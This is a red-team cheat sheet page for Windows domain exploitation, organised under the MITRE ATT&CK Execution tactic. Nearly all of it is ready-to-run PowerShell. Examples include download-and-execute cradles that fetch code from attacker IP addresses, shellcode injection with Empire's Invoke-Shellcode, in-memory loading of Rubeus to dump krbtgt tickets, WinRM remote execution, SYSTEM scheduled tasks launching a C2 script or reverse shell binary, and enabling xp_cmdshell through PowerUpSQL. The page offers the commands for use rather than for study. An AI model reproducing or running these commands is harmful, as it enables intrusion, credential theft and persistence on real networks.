> For the complete documentation index, see [llms.txt](https://burmat.gitbook.io/security/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://burmat.gitbook.io/security/hacking/domain-exploitation/execution.md). Agents can also search and read this documentation through its [MCP server](https://burmat.gitbook.io/security/~gitbook/mcp).

# Execution (TA0002)

The adversary is trying to run malicious code. https\://attack.mitre.org/tactics/TA0002/

## Executing Shellcode - T1055

### Empire's `Invoke-Shellcode`

{% code overflow="wrap" %}

```powershell
IEX (New-Object Net.WebClient).downloadString('https://raw.githubusercontent.com/EmpireProject/Empire/dev/data/module_source/code_execution/Invoke-Shellcode.ps1');
$b = [System.Io.File]::ReadAllBytes("C:\beaconx64.bin");
Invoke-Shellcode -ProcessId $(ps edge.exe).Id -Shellcode $b;
```

{% endcode %}

Or `Invoke-Shellcode -Shellcode @(0x90,0x90,0xC3)`

### Executable to In-Memory Assembly Code

Downloading and executing the main entry point to a binary.

{% code overflow="wrap" %}

```powershell
powershell.exe -exec bypass -c "$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest 'http://66.77.88.99:8080/hagrid.exe' -UseBasicParsing | Select-Object -ExpandProperty Content)); [Rubeus.Program]::Main('dump /service:krbtgt')"
```

{% endcode %}

Another method to reflectively loading a binary as assembly code

{% code overflow="wrap" %}

```powershell
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData('http://my_ip/run.exe'))
```

{% endcode %}

### Download and Execute in Memory

GitHub: <https://github.com/jnqpblc/Misc-PowerShell/blob/master/SharpDLExec.ps1>

{% code overflow="wrap" %}

```powershell
$u = "https://raw.githubusercontent.com/Flangvik/SharpCollection/master/NetFramework_4.0_Any/"
$f="Rubeus.exe"
$c = "1"
[byte[]] $a = (New-Object System.Net.WebClient).DownloadData($u+$f)
$assem = [System.Reflection.Assembly]::Load($a);
#$assem.CustomAttributes
#$assem.EntryPoint |ft Name, ReflectedType, Module, IsPublic
([Type]$assem.EntryPoint.DeclaringType.FullName.ToString())::([String]$assem.EntryPoint.Name).Invoke($c)
```

{% endcode %}

Additionally, there are additional methods here: <https://github.com/peass-ng/PEASS-ng/blob/master/winPEAS/winPEASexe/README.md>

{% code overflow="wrap" %}

```powershell
$wp=[System.Reflection.Assembly]::Load([byte[]](new-object net.webclient).Downloaddata('http://172.16.40.13:1337/defnotrubeus.exe'));
[Rubeus.Program]::MainString("triage")
```

{% endcode %}

## WinRM - T1021.006

The following will establish a WinRM session and execute commands remotely.

{% code overflow="wrap" %}

```powershell
$cred = New-Object System.Management.Automation.PSCredential('burmat.local\jsmith', (ConvertTo-SecureString 'password' -AsPlainText -Force));

$sess = New-PSSession -Credential $cred -ComputerName $hostname; 
if ($sess) { 
    Invoke-Command -Session $sess -ScriptBlock { hostname; whoami; }; 
    Remove-PSSession $sess;
}
```

{% endcode %}

Or, you can gain an interactive session.

{% code overflow="wrap" %}

```powershell
Enter-PSSession $(New-PSSession -Credential $cred -ComputerName $hostname);
```

{% endcode %}

## PowerShell Execution via Text File - T1059.001

{% code overflow="wrap" %}

```powershell
[scriptblock]::Create($((New-Object System.Net.WebClient).DownloadString('http://192.168.1.123/payload.txt'))).Invoke();
```

{% endcode %}

## Binary Execution

## Scheduled Task Creation - T1053.005

{% code overflow="wrap" %}

```powershell
$Script = 'C:\tmp\C2.ps1';
$TaskName = 'C2 PoC for SYSTEM';
$Description = 'A proof-of-concept for scheduled task creation';
$User = "NT AUTHORITY\SYSTEM";
$Executable = "powershell.exe";
$Action = New-ScheduledTaskAction -execute $Executable -Argument "-file $Script";
$Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).Date -RepetitionInterval (New-TimeSpan -Hours 24);
$Settings = New-ScheduledTaskSettingsSet –StartWhenAvailable;
Register-ScheduledTask -TaskName $TaskName -Trigger $Trigger -Action $Action -Setting $Settings -Description $Description -User $User -RunLevel Highest;
```

{% endcode %}

Or

{% code overflow="wrap" %}

```powershell
schtasks /create /sc minute /mo 1 /tn burmat /tr \tmp\reverse443.exe /ru SYSTEM
```

{% endcode %}

## PowerUpSQL - T1505.001

GitHub Repo: <https://github.com/NetSPI/PowerUpSQL> and more thorough cheat sheet: <https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet>

### MSSQL Server Enumeration

{% code overflow="wrap" %}

```powershell
## basic instance information
Get-SQLInstanceLocal

## more verbose information:
Get-SQLServerInfo -Verbose -Instance SQLSRV\SQLEXPRESS

## crawl for databse links:
Get-SqlServerLinkCrawl -Verbose -Instance SQLSRV\SQLEXPRESS
```

{% endcode %}

### Enumerate User Privileges

Full credit to: <https://github.com/lkys37en>

{% code overflow="wrap" %}

```powershell
Import-Module C:\tools\PowerUpSQL\PowerUpSQL.psm1

$Domain = "burmat.local";
$DC = (Get-ADDomain -Identity $Domain).PDCEmulator;
$DomainDN = (Get-ADDomain -Identity $Domain).DistinguishedName;

Get-SQLInstanceDomain -DomainController $DC -OutVariable MSSQLServers -verbose | Export-Csv ("MSSQLServers.csv") -NoTypeInformation;

$SQLCmd = $MSSQLServers | Invoke-SQLOSCmd -Verbose -Command "Whoami" -Threads 10;
$SQLCmd | Export-Csv ("Weak Microsoft SQL Server Access Control.csv") -NoTypeInformation;

foreach ($MSSQLPriv in $MSSQLPrivs) {
   $MSSQLStoredProceduresEnabledonPublicRole = [ordered]@{
	  'Affected Scope'        = $Domain
	  'Computer Name'         = $MSSQLPriv.ComputerName.ToLower()
	  'Instance'              = $MSSQLPriv.Instance.ToLower()
	  'Database Name'         = $MSSQLPriv.DatabaseName
	  'Principal Name'        = $MSSQLPriv.PrincipalName
	  'Principal Type'        = $MSSQLPriv.PrincipalType
	  'Permission Type'       = $MSSQLPriv.PermissionType
	  'Permission Name'       = $MSSQLPriv.PermissionName
	  'State Description'     = $MSSQLPriv.StateDescription
	  'Object Name'           = $MSSQLPriv.ObjectName
	}
	$MSSQLStoredProceduresEnabledonPublicRole_object = New-Object -TypeName PSObject -Property $MSSQLStoredProceduresEnabledonPublicRole;
	$MSSQLStoredProceduresEnabledonPublicRole_object | Export-Csv ("MSSQL Stored Procedures Enabled on Public Role.csv") -NoTypeInformation -Append;
}
```

{% endcode %}

### Enable xp\_cmdshell / Execute Commands

{% code overflow="wrap" %}

```powershell
## enable xp_cmdshell:
Get-SQLQuery -Instance SQLSRV\SQLEXPRESS -query "EXECUTE('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT ""sqlsrv.burmat.local"""

## test rce:
Get-SQLServerLinkCrawl -Instance "SQLSRV\SQLEXPRESS" -Query "exec master..xp_cmdshell 'whoami'" | Select-Object -ExpandProperty CustomQuery
```

{% endcode %}

### Execute DB Query via MSSQL Link

{% code overflow="wrap" %}

```powershell
Get-SqlServerLinkCrawl -Verbose -Instance SQLSRV\SQLEXPRESS -Query "select name from master..sysdatabases" | Select-Object -ExpandProperty CustomQuery
```

{% endcode %}

### Import the PowerShell ActiveDirectory Module

{% file src="/files/jHcXk7lrsVEKu7P6Nf9m" %}
